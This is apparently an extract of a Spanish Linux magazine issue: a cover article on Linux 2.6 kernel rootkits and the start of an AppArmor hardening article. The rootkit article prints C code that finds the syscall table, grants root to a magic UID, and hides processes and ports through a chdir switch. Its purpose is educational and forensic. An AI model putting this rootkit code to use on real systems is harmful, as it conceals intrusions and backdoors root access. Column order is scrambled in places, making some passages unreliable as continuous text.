estándar de Unix que registran los cam-

bios del sistema. Pero estos últimos, en

lugar de abandonar, han respondido con

algo nuevo. El rootkit de kernel es una

herramienta de intrusión de nueva gene-

ración que se introduce a sí misma en el

sistema Linux a un nivel muy profundo,

por debajo del alcance de las herramien-

tas de detección de usuario. Armados

con rootkits de kernel, los intrusos han

vuelto a tomar la delantera, al menos de

momento.

El kernel 2.6 implementa varios cam-

bios que hacen mucho más difícil crear

un rootkit de kernel para Linux. Pero,

¿ha terminado realmente la batalla? En el

tema de portada de este mes, el experto

en seguridad Amir Alsbih nos muestra

por qué todavía debemos preocuparnos

por los rootkits de kernel con la versión

2.6. Nuestro primer artículo de la serie,

“Arma Secreta: Rootkits para el kernel

2.6 de Linux” muestra un ejemplo prác-

tico de cómo un rootkit de este kernel

podría funcionar y qué aspecto tendría.

Para que no se piense que todas las

innovaciones vienen de los hackers

malignos, también le echamos un vis-

tazo a los dos sistemas principales de

control de acceso obligatorio (MAC) para

Linux. Con AppArmor y SELinux, un

intruso que explote una vulnerabilidad

para conseguir acceso a un sistema de

este tipo puede que no consiga nunca los

privilegios necesarios para comenzar a

Nuestro sistema Linux puede que no sea tan hermético después de todo. Para comprender los peligros, tenemos

que pensar como un intruso. Este mes mostramos lo que les ronda la cabeza a los intrusos con el kernel 2.6.

POR JOE CASAD.

Cómo escribir un Rootkit . . . . . . . . . . .12

AppArmor . . . . . . . . . . . . . . . . . . . . . . .17

SELinux . . . . . . . . . . . . . . . . . . . . . . . . .21

AppArmor vs. SELinux . . . . . . . . . . . .25

En Portada

PORTADA • Rootkits

12 Número 22 W W W . L I N U X - M A G A Z I N E . E S

Después de que un atacante haya com-prometido un objetivo, el siguientepaso es asegurarse un asidero. Cual-

quier atacante que se precie tratará de que losadministradores del sistema y los usuariosavanzados no se den cuenta de los cambiosno autorizados. Existen varias herramientaspara ayudar a los infiltrados a borrar pistas.Los llamados rootkits esconden procesos dela-tores, conexiones de red y los archivos de losadministradores, y garantizan el acceso al ata-cante mediante una puerta trasera.

Hace sólo unos años los hackers solíanmanipular algún programa instalado paracompilar un rootkit. Una versión de netstat

con un troyano escondería cualquier conexiónestablecida por el hacker, y un ps con troyanoofuscaría cualquier proceso ilegal. Debido aque un ataque típico implica reemplazar unbuen número de utilidades, los rootkits espe-ciales en espacio de usuario empezaron a apa-recer rápidamente. Estos kits, que incluyenvarios programas manipulados, son sencillosde instalar por los atacantes. La mayoría inclu-yen puertas traseras y herramientas popularespara hackers, como el IRC Bouncer.

Desde el punto de vista del hacker, los root-kits en espacio de usuario tienen una desven-taja importante: simplemente comparando elchecksum MD5 con el archivo original pode-mos descubrir un sabotaje. Y no debemosolvidar que existen programas especiales debúsqueda denominados cazadores de rootkits

que descubren rápidamente estos cambios.Otra desventaja es que la influencia del hackerestá restringida a las herramientas manipula-das: cualquier software que se instale poste-riormente (como lsof) o herramientas enmedios de sólo lectura (CD-ROM) se mantie-nen a salvo.

Kernel DinámicoUn rootkit que manipule el kernel posee uncontrol mucho mayor del sistema. El kernelsirve información del sistema a los procesos, yluego la presenta al usuario o administrador.

La versión 2.2 de Linux y posteriores carganmódulos dinámicos del kernel para proporcio-nar al administrador la posibilidad de cargardrivers y demás código en tiempo de ejecu-ción, y para eliminar la necesidad de recompi-lar el kernel y reiniciar. Los rootkits a nivel dekernel aprovechan este vía de ataque para eje-cutar código en espacio de kernel [2], elimi-nando la información que un atacante tuvieraque esconder antes de alcanzar el espacio deusuario.

El rootkit engaña de esta manera a los pro-gramas en ejecución, sin importar si se instala-ron posteriormente a quedar comprometido elequipo o con qué librerías se han enlazado.

Los excelentemente programados rootkitsde kernel de hoy día son casi perfectos maes-tros del disfraz. Ni las herramientas normalesdel sistema, ni las históricas herramientasforenses detectan este tipo de manipulación.

Métodos de ImplementaciónLos hackers han identificado varios métodospara manipular el kernel e implementar deesta manera un rootkit a nivel de kernel. Entreotras:• remplazar las llamadas al sistema originales

con versiones manipuladas (parcheando latabla syscall),

• insertar una nueva tabla de llamadas al sis-tema,

• cambiar los punteros en las estructuras delos sistemas de archivos de root y proc (par-cheando el Virtual File System [VFS] [3]),

• modificar directamente las estructuras delcódigo del kernel

Curiosamente, las técnicas del rootkit no serestringen completamente al hacking de unhacker malicioso . De hecho, los administra-dores pueden aprovecharse de la capacidad deanalizar y monitorizar sistemas haciendo usode herramientas como Kstat [4] o los móduloscomo Saint Jude [5]. Otros módulos comoSebek [6] son incluso más parecidos a root-kits, aunque sirven a propósitos útiles dentrode la industria de la seguridad.

El Problema con el Kernel 2.6El lanzamiento del kernel 2.6 significó uncambio drástico para los creadores de rootkits.A excepción de Adore-NG [7], no existen root-kits para el kernel actual, ni de naturalezamaligna ni benigna. La razón es que los ker-nels más antiguos usan símbolos para expor-

Los rootkits de hoy día se infiltran en el sistema objetivo a nivel de ker-

nel, escapando de esta manera de la atención del administrador. Siga

leyendo y descubrirá cómo funciona de verdad un rootkit de kernel.

POR AMIR ALSBIH

Rootkits para el kernel 2.6 de Linux

ARMA SECRETARootkits para el kernel 2.6 de Linux

ARMA SECRETA

Getdents64 se procesa por ls y se envía a lassalida estándar. Un kernel sin parchear (véasela Figura 2) devolverá los archivos creados porun atacante _R00t.txt y _R00tbackdoor.sh.

Compárese esto con el sistema comprome-tido mostrado en la Figura 3, donde el ata-cante ha parcheado la tabla de llamadas al sis-tema. La nueva llamada al sistema My_get-

dents64 llama a la rutina original Getdents64.My_getdents64 manipula entonces los valoresdevueltos por Getdens64, eliminando todoarchivo cuyo nombre empiece por _R00t, porejemplo. Libc le pasa así los resultados mani-pulados a ls. El programa procesa la informa-ción y saca los resultados por la salida están-

dar. Los archivos creados por el atacante seomiten de esta manera de la lista.

Encontrar la Tabla deLlamadas al SistemaAntes de que un rootkit pueda comprometeruna llamada al sistema, necesita primeroencontrar la tabla de llamadas al sistema. Unmétodo simple pero efectivo es buscar en todoel segmento de información. El rootkit Override[1] verifica cada dirección de memoria en elsegmento de información para ver si encuentraallí la tabla de llamadas al sistema (Listado 1).El bucle while de la línea 5 itera por toda direc-ción que pueda cumplir los requisitos.

tar la tabla de llamadas al sistema, haciendomás fácil parchearlas, mientras que Linux 2.6mantiene las direcciones en secreto. Un ha-cker necesitaría lo siguiente para parchear unallamada al sistema:• el código fuente del kernel y los archivos

creados en la compilación,• un enlace simbólico desde

/lib/modules/Kernelversion/build

to/usr/src/Kernelversion,• el kernel.conf correspondiente,• un makefile para el rootkitLos usuarios de la distro Gentoo tienen el tra-bajo más fácil, ya que la arquitectura de Gen-too nos proporciona todo esto.

Tabla de Llamadas al SistemaLa tabla de llamadas al sistema define la inter-faz entre el espacio de usuario y el espacio delkernel (véase la Figura 1). Una tabla de llama-das al sistema contiene las direcciones detodas las llamadas al sistema. La librería están-dar Libc asegura que las llamadas al sistemarequeridas se realizan en tiempo de ejecucióndel programa, mientras el kernel ejecuta lasllamadas. El programa en espacio de usuarioprocesa e interpreta los valores devueltos porlas llamadas al sistema.

Las llamadas al sistema que ofrece Linux seguardan en el archivo/usr/src/linux/include/asm/unistd.h. unistd.h

lista 293 llamadas, con sus posiciones en latabla, como la de la llamada al sistema leídaen la posición 3.

Original y CopiaEl principio de un rootkit a nivel de kernel esfácil de describir usando el programas ls comoejemplo. El programa se basa principalmenteen la llamada al sistema sys_getdents64().Ésta devuelve los archivos y subdirectorios enel directorio objetivo. El valor devuelto por

Figura 1: Las llamadas al sistema proporcionan una

interfaz entre los programas en espacio de usuario

y el kernel. Libc envuelve el proceso con sencillas

funciones de librería.

01 int get_sct() {

02 unsigned long *ptr;

03

04 ptr=(unsigned long *)((init_mm.end_code + 4) & 0xfffffffc);

05 while((unsigned long )ptr < (unsigned long)init_mm.end_data) {

06 if ((unsigned long *)*ptr == (unsigned long *)sys_close) {

07 #ifdef DEBUG

08 printk (KERN_INFO” -> matching detected at %p\n”, ptr);

09 #endif

10 if ( (unsigned long *)*((ptr-__NR_close)+__NR_read)

11 == (unsigned long *) sys_read

12 && *((ptr-__NR_close)+__NR_open)

13 == (unsigned long) sys_open)

14 {

15 sys_call_table = (void **) ((unsigned long

*)(ptr-__NR_close));

16 break;

17 }

18 }

19 ptr++;

20 }

21

22 #ifdef DEBUG

23 printk (KERN_INFO”sys_call_table base found at: %p\n”,

sys_call_table);

24 #endif

25 if (sys_call_table == NULL) {

26 return -1;} else {

27 return 1;

28 }

29

30 return -1;

31 }

Listado 1: Encontrar la Tabla de Llamadas al Sistema

Rootkits • PORTADA

13Número 22W W W . L I N U X - M A G A Z I N E . E S

La búsqueda usa dos llamadas al sistemadel conjunto completo de símbolos del kernelexportados como candidatos de prueba. Lasdirecciones de las llamadas al sistema se cono-cen (exportadas). Los números que pertene-cen a las llamadas del sistema se listan comoconstantes en/usr/src/linux/include/asm/unistd.h:__NR_open, __NR_close y __NR_read. La línea6 del Listado 1 verifica si la dirección desys_close() reside en la dirección de memoriaque se está probando en ese momento.

La rutina verifica dos entradas más allá enla tabla de llamadas al sistema. La línea 10 usael índice de la tabla para calcular la direcciónde sys_read(). La línea 11 compara el conte-nido para asegurarse de que ha localizado ladirección de la llamada al sistema Read. Laslíneas 12 y 13 hacen lo mismo con Open. Sitodas las entradas coinciden, la línea 15 cal-cula la dirección de comienzo de la tabla dellamadas al sistema. Si no, la línea 19 incre-menta el puntero.

Llamadas al Sistema ObjetivoAhora que se conoce la dirección de la tablade llamadas al sistema, al rootkit se le abrentodas las posibilidades. El desarrollador puedeejecutar strace [8] para encontrar qué llamadaal sistema necesita manipular para trucar unprograma específico. La herramienta lista

todas las llamadas al sistema usadas por unproceso. El Listado 2 nos da una idea de quéaspecto tiene para id. id escribe el ID real yefectivo del usuario y grupo en la salida están-dar:

uid=500(grid-knight) U

gid=1000(master) U

groups=19(cdrom),27(video),U

1003(auditor)

La salida de Strace se envía a stderr. La pri-mera línea del Listado 1 indica que se usaexecve(), sin embargo, la llamada al sistemasimplemente ejecuta el programa /usr/bin/id.

Varias llamadas al sistema Open y Read

revelan qué archivos usa id. Pero en nuestrocaso, las llamadas al sistema getuid32() y get-gid32() son más interesantes, ya que solicitanlas IDs actuales del usuario y grupo.

id usa la llamada al sistema Write (últimalínea) para mostrar los resultados en línea decomandos. El descriptor de archivo 1 (el pri-mer parámetro) generalmente apunta a lasalida estándar.

Identidad SuplantadaLa llamada al sistema getuid32() es un obje-tivo preciado para los rootkits. Una variantecomprometida devolvería un ID incorrecto 0para un usuario con un ID de 6666, dando deesta manera permisos de root. Para ello no esnecesario manipular los archivos del sistema(/etc/passwd y /etc/shadow): la informaciónde la cuenta puede incluso obtenerse con unservidor NIS o LDAP. Incluso un administra-dor extraordinariamente cuidadoso que verifi-que las bases de datos de los usuarios regular-mente probablemente no se dará cuenta delengaño.

Para remplazar la llamada al sistema origi-nal con nuestra propia implementación, todolo que necesitamos hacer es insertar la nueva

dirección en la tabla de llamadas del sistema.El Listado 3 muestra el código paramy_getuid(). Las siguientes líneas guardan ladirección de la rutina original como org_getuid

y sobrescribe el puntero a la tabla:

org_getuid=sys_call_tableU

[__NR_getuid32];

(void *) sys_call_tableU

[__NR_getuid32]= U

(void *) my_getuid;

La línea 3 del código del Listado 3 permite a lallamada al sistema original descubrir la UIDauténtica y comparar así el valor devuelto conla constante MAGIC_UID (que debería estarfijada a 6666). Si los dos valores coinciden, lalínea 5 fija la ID de usuario para el procesoactual a 0 y devuelve este valor. En los demáscasos, my_getuid() devuelve simplemente elvalor de retorno original. Las líneas 11 a 19muestran un método similar para la ID efec-tiva del usuario.

Conmutadores OcultosEsconder procesos y puertos es más complejo.En lugar de codificar en bruto los valores en elrootkit, nuestro código de ejemplo usa con-mutadores ocultos en la llamada al sistemachdir(). Cuando el usuario (generalmente elintruso) cambia de directorio a uno secreto yficticio (ubicado en /dev, por ejemplo), el root-kit captura esta acción y oculta el proceso. Enlos demás casos, se realiza una llamada nor-mal a chdir.

La llamada al sistema chdir modificada enel Listado 4 (en la línea 5) verifica si el usuarioquiere cambiar el directorio al sistema dearchivos proc, y en este caso, si el usuarioselecciona uno de los procesos ocultos (líneasa 15). Si se cumple dicha condición, el rootkitevita que suceda (devuelve el valor -1). Estoengaña a los cazadores de rootkits que

01 execve(“/usr/bin/id”, [“id”], [/* 53 vars */]) = 0

02 uname({sys=”Linux”, node=”localhost”, ...}) = 0

03 open(“/dev/urandom”, O_RDONLY) = 3

04 read(3, “\10Y\vh”, 4) = 4

05 close(3) = 0

06 geteuid32() = 500

07 getuid32() = 500

08 getegid32() = 1000

09 getgid32() = 1000

10 write(1, “uid=500(grid-knight) gid=1000(master)...)

Listado 2: Salida de Strace

01 int my_getuid() {

02 int ret;

03 ret = org_getuid();

04 if (ret == MAGIC_UID) {

05 current->uid = 0;

06 return 0;

07 }

08 return ret;

09 }

10

11 int my_geteuid() {

12 int ret;

13 ret = org_geteuid();

14 if (ret == MAGIC_UID) {

15 current->euid = 0;

16 return 0;

17 }

18 return ret;

19 }

Listado 3: Llamada alSistema con Troyano

PORTADA • Rootkits

14 Número 22 W W W . L I N U X - M A G A Z I N E . E S

15Número 22W W W . L I N U X - M A G A Z I N E . E S

Rootkits • PORTADA

ción para el kernel2.6. Esconde todaslas IDs de procesosque queramos yautomáticamentetambién las de susprocesos hijos. Encaso necesario,esconde procesos,disfraza puertos dered, asigna privile-gios de root a proce-sos predefinidos porel usuario y escondecualquier fichero queempiece por un pre-fijo determinado. Laocultación del rootkitde demostración noes perfecta. Por ejem-plo, deja un rastrovisible de símbolosdel kernel en/proc/kallsyms, quees donde el kernelguarda todos sus

símbolos de kernel.

AlcanceAdemás de parchear las llamadas al sis-tema, los atacantes pueden acudir a otrastécnicas para desarrollar rootkits. Unintruso avezado puede atacar el VFS (Vir-tual File System) o manipular directamenteel código del kernel. Los kits que manipu-lan el código del kernel pueden funcionarsin el soporte para módulos del kernel,pero será más difícil de implementar si nohacen uso de un módulo del kernel. Sinembargo, la interfaz /dev/kmem usadapara este propósito se quitó en el kernel2.6.14. Una herramienta como KernelGuard [1] puede casi tapar este agujero,pero en sistemas antiguos es posible tam-bién deshabilitar Kernel Guard usando/dev/kmem.

Las cosas comienzan a ponerse real-mente difíciles para los atacantes cuandoel kernel no tiene soporte para módulos. Sipreferimos no eliminar esta importantefuncionalidad del kernel, Kernel Guard esuna simple pero efectiva ayuda.

Kernel Guard es un rootkit benigno quemodifica las dos llamadas al sistema res-ponsables de cargar y descargar los módu-los del kernel. Tras cargar Kernel Guard,nadie (incluyendo los usuarios con privile-gios de root) podrán cargar o descargar unmódulo en el kernel.

prueban todas las IDs de los procesos en/proc/PID y compara los resultados conla tabla de procesos.

Se producen cinco comparaciones conconmutadores ocultos, y se dispara unaacción especial si la ruta comienza conun conmutador predefinido. Las líneas18 a 20 añaden la ID del proceso agre-gada a la ruta virtual por el atacante a lalista de procesos. Las siguientes treslíneas eliminan toda entrada. Las líneas46 a 51 contienen el código para ocultary revelar puertos de red.

El código de las líneas 24 a 45 lista losprocesos ocultos. Un bucle itera contra elarray de procesos a esconder. Si encuen-tra una entrada (distinta a 0),find_task_by_pid() de la línea 37 loca-liza la estructura del PID (definida en/usr/include/linux/sched.h). La siguientelínea escribe el PID y el nombre delcomando coincidente, task.comm, alárea de memoria del kernel. La llamadaa copy_to_user() transfiere este área aespacio de usuario, y org_write() escribeel contenido en la salida estándar a tra-vés del descriptor de fichero 1.

El Rootkit OverrideEl proyecto Override [1], obra del hackerNewroot y de mí mismo, combina lastécnicas discutidas hasta ahora e imple-menta un completo rootkit de demostra-

Figura 2: Un sistema sano saca el contenido del directorio (arriba a la

derecha) cuando se le solicita por parte de un usuario (ls -la). Para ello,

el programa hace la llamada al sistema Getdents64 e interpreta los

valores devueltos.

16 Número 22 W W W . L I N U X - M A G A Z I N E . E S

PORTADA • Rootkits

01 int my_chdir (char *path)

{

02 char *ptr=NULL;

03 int pid;

04 int i;

05 if (strncmp

(PROC_STRING, path, strlen

(PROC_STRING)) == 0) {

06 ptr = path + strlen

(PROC_STRING);

07 pid = my_atoi (ptr);

08 if (pid > 0) {

09 for (i=0;

i<=MAX_HIDE_PIDS; i++) {

10 if

(hide_pids[i] != 0) {

11 if (pid ==

hide_pids[i]) {

12 return

-1;

13 }

14 }

15 }

16 }

17 }

18 if (strncmp

(CHDIR_HIDE_PID, path,

strlen(CHDIR_HIDE_PID)) ==

0) {

19 ptr = (char *)path +

strlen (CHDIR_HIDE_PID);

20 return

hide_pid(my_atoi(ptr));

21 } else if (strncmp

(CHDIR_UNHIDE_PID, path,

strlen(CHDIR_UNHIDE_PID))

== 0) {

22 ptr = (char *)path +

strlen (CHDIR_UNHIDE_PID);

23 return

unhide_pid(my_atoi(ptr));

24 } else if (strncmp

(CHDIR_SHOW_PIDS, path,

strlen(CHDIR_SHOW_PIDS))

== 0) {

25 char pidlist[32];

26 unsigned long mmm;

27 struct task_struct

*task;

28 char *string;

29 int i;

30

31

mmm=current->mm->brk;

32

org_brk((char*)mmm+32);

33 string = (char *)mmm

+2;

34

35 for (i = 0; i <=

MAX_HIDE_PIDS; i++) {

36 if (hide_pids[i]

!= 0) {

37 task =

find_task_by_pid

(hide_pids[i]);

38 snprintf

(pidlist, 32, “%d - %s\n”,

hide_pids[i], task->comm);

39 copy_to_user

(string, pidlist,

strlen(pidlist)+1);

40 org_write (1,

string, strlen(string)+1);

41 }

42 }

43

44 org_brk((char*)mmm);

45 return 0;

46 } else if (strncmp

(CHDIR_HIDE_NET, path,

strlen(CHDIR_HIDE_NET)) ==

0) {

47 ptr = (char *)path +

strlen (CHDIR_HIDE_NET);

48 return

hide_port(my_atoi(ptr));

49 } else if (strncmp

(CHDIR_UNHIDE_NET, path,

strlen(CHDIR_UNHIDE_NET))

== 0) {

50 ptr = (char *)path +

strlen (CHDIR_UNHIDE_NET);

51 return

unhide_port(my_atoi(ptr));

52 }

53 return org_chdir

(path);

54 }

Listado 4: Conmutador OcultoConclusionesLos programas basados en checksum,como Aide o Tripwire, no puedenayudarnos en la batalla contra losrootkits a nivel de kernel. Los rootkitsmanipulan las llamadas al sistemadirectamente, o en otros lugares delkernel, y esto les proporciona lacapacidad de trucar cualquier programaen espacio de usuario.

Necesitamos saber cómo funcionaexactamente un rootkit para tener algunaoportunidad de descubrir algún rastrorevelador de un sabotaje. Dónde tienenque mirar los expertos forenses y quétendrían que encontrar, dependeenormemente del rootkit que esténcazando. �

Figura 3: En un sistema comprometido, la lla-

mada al sistema mostrada en la Figura 2 llama a

una versión con troyano, My_getdents64, que

llama al Getdents64 original, manipula los valo-

res de retorno, y le pasa esos valores al pro-

grama de usuario.

[1] Amir Alsbih, Override Rootkit and

Kernel Guard: http://www.informatik.

uni-freiburg.de/~alsbiha/code.htm

[2] Halflife, “Abuse of the Linux Kernel

for fun and profit”: http://www.

phrack.org/phrack/50/P50-05

[3] Palmers, “Advances in Kernel Hack-

ing”: http://www.phrack.org/phrack/

58/p58-0x06

[4] S0ftpr0ject: http://www.s0ftpj.org/en/

tools.html

[5] Saint Jude: http://sourceforge.net/

projects/stjude

[6] Sebek: http://www.honeynet.org/

tools/sebek/

[7] Adore-NG: http://packetstorm.

linuxsecurity.com

[8] Strace: http://www.liacs.nl/~wichert/

strace

RECURSOS

herramientas instaladas localmente. Una

única vulnerabilidad en el UID root del

programa es todo lo que hace falta para

que el atacante tome las riendas.

Tradicionalmente, los administradores y

los webmasters no tenían más alternativa

que mantener sus sistemas actualizados y

eliminar cualquier lastre, es decir, instalar

sólo aquel software que realmente les era

necesario. Pero nada de esto puede prote-

ger al sistema contra exploits del día 0, es

decir, ataques cuyo objetivo son agujeros

de seguridad previamente desconocidos.

Cómo FuncionaAppArmor está diseñado para ayudar a los

administradores a montar una trampa. El

sistema monitoriza la forma en que los

procesos acceden a los ficheros, distin-

guiendo entre accesos de lectura y escri-

tura, así como el uso del privilegio de root.

Dependiendo del kernel, Linux puede dis-

tinguir entre 29 capacidades (véase man 7

capabilities). Por ejemplo, CAP_KILL se

refiere a la capacidad del root para termi-

nar un proceso y CAP_RAW le permite

crear paquetes de red arbitrarios. El

comando ping necesita disponer de esta

capacidad, por ejemplo.

La idea de controlar el acceso y las

acciones basándose en el programa en vez

de en el propietario y/o usuario no es nada

nuevo. En los sistemas Free BSD y Linux,

Systrace de Niels Provo implementa este

La visión de Novell sobre AppArmor

es la de un sistema de protección

efectivo para Linux fácilmente con-

figurable. De acuerdo con el fabricante,

AppArmor compite con SELinux, que ha

sido parte de la distribución Suse desde

hace un tiempo, aunque careciendo de las

políticas necesarias para su ejecución.

SELinux es comparativamente más difícil

de configurar, pero implementa adecuada-

mente MACs (Mandatory Access Control),

AppArmor, sin embargo, se centra en res-

tringir el alcance de las aplicaciones indivi-

duales.

La TareaEs un hecho desafortunado que muchos

programas sufran errores, sobre todo

cuando afectan a las aplicaciones web,

particularmente sensibles a este problema.

La mayoría del software no está progra-

mado por especialistas en seguridad, aun-

que pueda ser públicamente accesible

desde la web, lo que hace que sea un

blanco fácil para los atacantes. Si uno de

ellos encuentra un error de programación

en la aplicación, puede explotarlo y ganar

de este modo acceso al sistema.

Incluso si el atacante sólo compromete

una cuenta de usuario estándar, esto sería

peligroso para la víctima. La cuenta le pro-

porciona al hacker acceso directo a las

AppArmor • PORTADA

Bloqueo de Intrusos con AppArmor

ARMADO Y PROTEGIDO

AppArmor comenzó su carrera como un

producto comercial de Immunix, aunque

era conocido como Subdomain. Novell

adquirió Immunix a mediados de 2005,

renombrando Subdomain a AppArmor y

licenciando el código bajo la licencia GPL a

principios de 2006. Immunix era una vieja

conocida de los vendedores de soluciones

de seguridad debido especialmente al

compilador Stackguard, una modificación

de GCC que protege a las aplicaciones de

las distintas versiones del ataque “buffer

overflow”. Immunix también estaba bas-

tante implicada en el desarrollo de la inter-

faz LSM (Linux Security Module) para el

kernel 2.6. Además de AppArmor, varios

sistemas de seguridad, como LIDS (Linux

Intrusion Detection System) y el productor

competidor SELinux, utilizan la interfaz

LSM para inyectar controles donde se

necesiten en el kernel. Gracias a LSM no se

requiere el uso de parches, lo que no

impide que la arquitectura LSM sea un

tema de debate en algunos proyectos.

Immunix

W W W . L I N U X - M A G A Z I N E . E S 17Número 22

Cuando un atacante consigue infectar el sistema de una víctima hereda sus privilegios. AppArmor

bloquea el ataque reduciendo los privilegios potenciales de la víctima al mínimo.

POR RALF SPENNBERG

ARMADO Y PROTEGIDOCuando un atacante consigue infectar el sistema de una víctima hereda sus privilegios. AppArmor

bloquea el ataque reduciendo los privilegios potenciales de la víctima al mínimo.

POR RALF SPENNBERG

Bloqueo de Intrusos con AppArmor

principio, por ejemplo. Pero mientras

Systrace monitoriza las llamadas al sistema

(tal y como indica su nombre), AppArmor

utiliza el LSM Hooks (véase el cuadro

“Immunix”).

Instalación de AppArmor enLinuxNovell incluye AppArmor con las ditribu-

ciones comerciales Suse Linux 10.0 y SLES

9 SP3 (Suse Linux Enterprise Server 9, Ser-

vice Pack 3). Open Suse 10.1 es la variante

GPL. Se puede instalar AppArmor en Open

Suse 10.0, aunque se requiere un parche

del kernel que consume tiempo. De

acuerdo con las listas de distribución [2],

se espera que Ubuntu y Fedora lo soporten

en el futuro. El GUI requiere Yast 2 al

tiempo de escribir este artículo.

Novell posee diversos paquetes disponi-

bles en Novell Forge [3]. Los RPMs para la

versión alpha de Open Suse 10.1 funciona-

rán en Open Suse 10.0. Se requiere tam-

bién un kernel con soporte para AppAr-

mor. La mejor solución es utilizar un

paquete original del repositorio del kernel

[4], por ejemplo, Linux 2.6.15, en combi-

nación con los parches del kernel aa_2.0-

2.6.15.patch y aa_namespace_sem-

2.6.15.patch. Cuando se ejecuta make old-

config para la configuración, normalmente

se presiona la tecla [Enter] para aceptar los

valores por defecto cuando se soliciten.

Los pasos individuales se muestran en el

Listado 1.

En parches posteriores, Novell renom-

brará la estructura del kernel en Security

FS a /sys/kernel/security/apparmor. Secu-

rity FS ha sido parte del kernel estándar

desde la versión Linux 2.6.14.

Comenzar a TiempoEl componente del espacio de usuario de

AppArmor ejecuta el servicio del sistema y

asigna la política. El script init ha mante-

nido el nombre del antiguo subdominio:

/etc/init.d/subdomain start carga y habilita

el módulo del kernel AppArmor. Para per-

mitir al módulo la monitorización de una

aplicación, tiene que estar activo antes de

que se ejecute la aplicación que se quiera

proteger. Esta es la razón por la que debe

ejecutarse en el momento del arranque del

sistema. La aplicación también necesita un

fichero de perfil en /etc/subdomain.d (las

próximas distribuciones usarán /etc/appar-

mor.d).

Novell proporciona perfiles para la gran

mayoría de comandos críticos, incluyendo

servidores como Apache (en modo Pre-

fork) y OpenSSH, para las herramientas S-

Bit como ping y man, clientes de red como

Firefox y Real Player, visores como Acrobat

Reader e incluso para los servicios de pro-

tocolos Klogd y Syslogd.

Perfiles NuevosSi se necesitan crear perfiles nuevos para

las aplicaciones puede ser de ayuda el asis-

tente de perfiles basado en Yast, para lo

cual, lo primero que necesita saber es a

qué programa se le va a crear el perfil. A

continuación, el usuario lanza el programa

y lo ejecuta como siempre.

Es importante utilizar todas las funcio-

nes de la aplicación en esta fase. Hay que

asegurarse de que no se sufrirá un ataque

durante el aprendizaje. Posteriormente

AppArmor permitirá todas las característi-

cas que la aplicación utilice en este

momento. Durante esta fase AppArmor

aprende las funciones legítimas de la apli-

cación.

Tras cerrarla, el siguiente paso será ana-

lizar los eventos registrados por el asistente

de perfiles. El asistente sugiere una acción

para cada caso. Si el programa monitori-

zado llama a otro programa, el asistente de

perfiles proporcionará las siguientes opcio-

nes: Inherit significa que las mismas res-

tricciones se aplican a la nueva aplicación,

por ejemplo a kdialog. Profile significa que

el programa tendrá su propio perfil. Con

Unconfined AppArmor no monitorizará al

nuevo proceso y Deny impedirá que se eje-

cute la aplicación.

Para facilitar el proceso de crear y man-

tener los perfiles, AppArmor utiliza la téc-

nica de inclusión de ficheros. Los ficheros

están implementados como librerías abs-

tractas y contienen reglas para las opera-

ciones estándar. Por ejemplo, #include

<abstractions/kde> permite acceso a los

ficheros de configuración y funciones de

KDE. Otros perfiles permiten a los usuarios

ejecutar Bash o la resolución de nombres.

Después de completar con éxito el asis-

tente, será conveniente reejecutar la aplica-

ción y probarla para ver cómo se comporta

bajo la tutela de AppArmor. Si se advierte

que algunas funciones no funcionan como

se esperaba, habrá que volver a ejecutar el

asistente. En este caso, el asistente lee el

perfil existente y lo actualiza con los cam-

bios.

El Listado 2 proporciona un perfil típico

de AppArmor para Kpdf. Después de los

comentarios Vim (Suse proporciona un

módulo de coloreado de la sintaxis para

Vim), el perfil empieza con la ruta a Kpdf;

esto especifica qué programa va a gober-

nar la política.

flags=(complain) conmuta el perfil en

modo de “queja”, también conocido como

modo de aprendizaje. En este modo,

AppArmor avisará de las infracciones con-

tra la política pero sin impedir que los

eventos se produzcan. Si se conmuta a

flags=(enforce) restringirá las capacidades

de Kpdf.

Las líneas de la 4 a la 10 hacen referencia

a diversos ficheros que se van a incluir y

las líneas 12 a la 18 listan las rutas a las

que el visor de PDF tiene permitido el

acceso. Una r tras la ruta y los nombres de

los ficheros se refiere a un acceso de lec-

tura, mientras que rw permite tanto los

accesos de lectura como la escritura.

Servidores WebAppArmor es particularmente útil en los

servidores web. Al contrario que los siste-

mas LIDS, GR Security, RSBAC o SELinux

(Mandatory Access Systems), AppArmor

puede monitorizar los hosts virtuales

con diferentes perfiles en un servidor

web. El servidor web Apache puede

modificar los perfiles dependiendo del

directorio actual. Novell se refiere a esto

como función change_hat.

Pero sin algo de ayuda por parte de

Apache, AppArmor no sería capaz de

averiguar el estado del servidor web.

Novell proporciona el módulo

mod_change_hat que se encarga de ello

(en un futuro el nombre se cambiará por

PORTADA • AppArmor

18 Número 22 W W W . L I N U X - M A G A Z I N E . E S

Listado 1: Pasos para lainstalación

01 tar xjvf linux-2.6.15.tar.bz2

02 cd linux-2.6.15

03 patch

-p1<../aa_2.0-2.6.15.patch

04 patch

-p1<../aa_namespace_sem-2.6.1

5.patch

05 make oldconfig

06 make bzImage

07 make modules

08 make modules_install

09 make install

10 rmdir /subdomain

11 ln -s

/sys/kernel/security/subdomai

n /subdomain

Se necesita un subperfil que le proporcione

a Squidfire el acceso. Al mismo tiempo,

este perfil restringirá este acceso sólo a los

ficheros de registro de Squid. Esta precau-

ción impedirá que los usuarios de Squid-

fire puedan utilizar esta herramienta para

evaluar otros ficheros de registros distintos

de los de Squid.

De nuevo, el asistente de perfiles de Yast

gestionará la configuración del subperfil.

Cuando se ejecute el asistente, hay que

seleccionar a Apache como la aplicación.

Esto le indica a AppArmor que permita

todas las acciones para este proceso y que

registre estas acciones para un análisis pos-

terior. Después de trabajar con la aplica-

ción con el navegador web durante unos

minutos, hay que hacer clic en el botón

Scan system log for AppArmor events en el

asistente de perfiles (Figura 2) para com-

pletar la fase de entrenamiento. Si se está

entrenando a una aplicación compatible

con “change-hat”, el asistente de perfiles

sugerirá que se cree un subperfil nuevo

(hat).

Límites EstrictosHay que tener cuidado a la hora de respon-

der a las preguntas que realiza el asistente,

particularmente si la aplicación principal

realiza llamadas a programas externos. Es

lógico dejar que estas aplicaciones hereden

el perfil de la aplicación que las invoca.

Cuando se añaden imágenes y ficheros

CSS, el perfil por defecto de Apache es una

elección delicada. Tras realizar una serie

de preguntas, el asistente de perfiles conti-

núa creando un subperfil en

usr.sbin.httpd2-prefork (el Listado 3 mues-

tra una parte).

Por defecto, se utiliza la URI para distin-

guir entre los diferentes subperfiles de

Apache dentro del perfil (véase la Línea 2

del Listado 3). Este ejemplo permite a la

aplicación web /squid/index.php utilizar

Bash y leer varios ficheros del sistema. El

Listado 3 también utiliza el componente

Squidfire (Lineas 11 a 15) y por último el

listado evalúa los ficheros de registro de

accesos de Squid y Apache (Líneas 18 y

20).

En una inspección más detallada, el sub-

